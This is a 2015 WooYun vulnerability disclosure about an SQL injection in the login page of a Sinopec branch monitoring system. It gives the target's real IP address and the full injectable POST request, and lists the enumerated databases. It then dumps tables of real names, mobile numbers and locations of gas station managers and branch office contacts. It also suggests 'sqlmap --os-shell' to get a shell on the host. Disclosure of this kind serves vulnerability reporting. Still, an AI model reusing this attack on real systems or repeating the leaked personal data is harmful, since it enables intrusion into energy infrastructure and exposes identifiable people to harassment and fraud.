当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0145948

漏洞标题:中国石化某分公司监测管理系统SQL注入漏洞(可getshell/DBA权限/泄露加油站负责人信息)

相关厂商:中国石油化工股份有限公司

漏洞作者: 路人甲

提交时间:2015-10-11 14:07

修复时间:2015-11-26 11:52

公开时间:2015-11-26 11:52

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-11: 细节已通知厂商并且等待厂商处理中
2015-10-12: 厂商已经确认,细节仅向厂商公开
2015-10-22: 细节向核心白帽子及相关领域专家公开
2015-11-01: 细节向普通白帽子公开
2015-11-11: 细节向实习白帽子公开
2015-11-26: 细节向公众公开

简要描述:

RT

详细说明:

url:

http://111.4.123.233/

1.png

漏洞证明:

测试:

POST /index.aspx HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint,
application/msword, */*
Referer: http://111.4.123.233/index.aspx
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: 111.4.123.233
Content-Length: 345
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQSTRBQAQ=NOKLHONAIHBKHMKJOIAHCKBA
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJNzcxMTU2NzM5ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUMSW1hZ2VCdXR0b24xY86HEIjFojtQyIxxQSmnXms4i3E
%3D&__EVENTVALIDATION=%2FwEWBwKJ6vqtDwKvpuq2CALSwpnTCALxhMDIAQLS1%2BDUDwLQ16DXDwLfuIq5A5uZbFw9KjO73zs
%2BCzCoSmWzWStp&username=admin&repassword=admin&ImageButton1.x=39&ImageButton1.y=10


available databases [5]:
[*] master
[*] model
[*] msdb
[*] tankers
[*] tempdb


1.png


[24 entries]
+------+--------------+------------+---------------+
| 负责人 | 电话 | 加油站名称 | 地点 |
+------+--------------+------------+---------------+
| 李站长 | 0792-6762999 | 八里江加油站 | 九江八里江加油站 |
| 方克祥 | <blank> | 大白茆沙加油站 | 芜湖白茆沙水域 |
| 丁兆俊 | 13951774623 | 大胜关加油站 | 南京大胜关加油站 |
| 赵冬生 | 13952847539 | 高桥加油站 | 镇江高桥加油站 |
| 唐站长 | 13862449478 | 高资加油站 | 高资加油站 |
| 余站长 | 13607925785 | 蛤蟆石加油站 | 九江蛤蟆石加油站 |
| 湛振兴 | 13925077968 | 洪湖加油站 | 岳阳洪湖加油站 |
| 冉舜 | 023-62952657 | 鸡冠石加油站 | 重庆市南岸区鸡冠石加油站 |
| 王旭 | 0716-4730984 | 江陵加油站 | 江陵加油站 |
| NULL | NULL | 晴川加油站 | NULL |
| 蔡燕青 | 13952847538 | 润扬加油站 | 捷水道杨涵墩外圩红浮下北岸 |
| 黄学招 | 13925285875 | 蛇口加油站 | 蛇口 |
| 曾汉湘 | 13873017277 | 松阳湖加油站 | 岳阳松阳湖加油站 |
| 杨生兵 | 13896993563 | 土包河加油站 | 万州分公司忠县土包河加油站 |
| 张健 | 15955528477 | 芜湖何家洲加油站 | 何家洲加油站 |
| 李昌文 | 13855589799 | 芜湖马鞍山港区加油站 | 马鞍山港区加油站 |
| 朱俊胜 | 5966923 | 芜湖西华加油站 | 西华加油站 |
| 丁站长 | 027-86981356 | 武汉阳罗 | 武汉阳罗 |
| 潘站长 | 13851629160 | 兴隆洲加油站 | 兴隆洲加油站 |
| 冉承安 | 13873029101 | 岳阳莲花塘加油站 | 莲花塘加油站 |
| 肖惟 | 13975031310 | 岳阳油库 | 岳阳油罐 |
| 胡云峰 | 13607374506 | 岳阳沅江加油站 | 沅江加油站 |
| 赵勇 | 13511694303 | 镇江六圩加油站 | 六圩加油站 |
| 陶涛 | 13952843423 | 镇江扬高加油站 | 扬高加油站 |
+------+--------------+------------+---------------+


+-----+------------------------+------------------------+-------+
| 负责人 | 电话 | 地点 | 简称 |
+-----+------------------------+------------------------+-------+
| 丁兴平 | 0553-3851262 3850283 | 安徽省芜湖市健康二马路 44 号 | 芜湖分公司 |
| 罗宾 | 0556-5512502 5516046 | 安庆市沿江东路169号 | 安庆分公司 |
| 唐求明 | 021-63131423 63082206 | 国货路236号东物公寓8楼 | 上海分公司 |
| 韩海强 | 027-85666226 85674676 | 汉口沿江大道58号 | 武汉分公司 |
| 徐伯浔 | 0714-6316956 6316499 | 黄石市湖滨大道727-25# | 黄石分公司 |
| 严顺秋 | 0511-85028641 | 江苏省镇江市解放路 301 号 6 楼 | 镇江分公司 |
| 宋永龙 | 0792-8137016 8237725 | 江西省九江市孤溪埂 15号 | 九江分公司 |
| 罗红春 | 0510-6021369 6021259 | 江阴市通江北路 581 号 | 江苏分公司 |
| 胡跃生 | 0730-8601289 8601393 | 金鹗中路中石化长燃大厦五楼 | 岳阳分公司 |
| 樊士宏 | 025-58762633 58830045 | 南京市下关区公共路62号 | 南京分公司 |
| 秦自强 | 0574-86293496 86293203 | 宁波市镇海区胜利路 209 号三楼 | 宁波分公司 |
| 廖琪 | 0716-8116422 8214957 | 沙市区中山路82号 | 荆州分公司 |
| 孙振海 | NULL | 深圳 | 深圳分公司 |
| 付世元 | 0717-6966233 6966834 | 宜昌市夷陵路 160 号 --10 栋 | 宜昌分公司 |
| 胡安荣 | 023-63916484 63913481 | 中国重庆市渝中区解放东路 129 号 8 楼 | 重庆分公司 |
| 陈永进 | 023-58135500 58124546 | 重庆市万州区罗汉寺 5 号。 | 万州分公司 |
+-----+------------------------+------------------------+-------+


试试sqlmap --os-shell

1.png


内网的机子 = =# getshell应该不难 找到路径就可以了

修复方案:

好冷好冷

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-10-12 11:51

厂商回复:

谢谢!我们将尽快修改。

最新状态:

暂无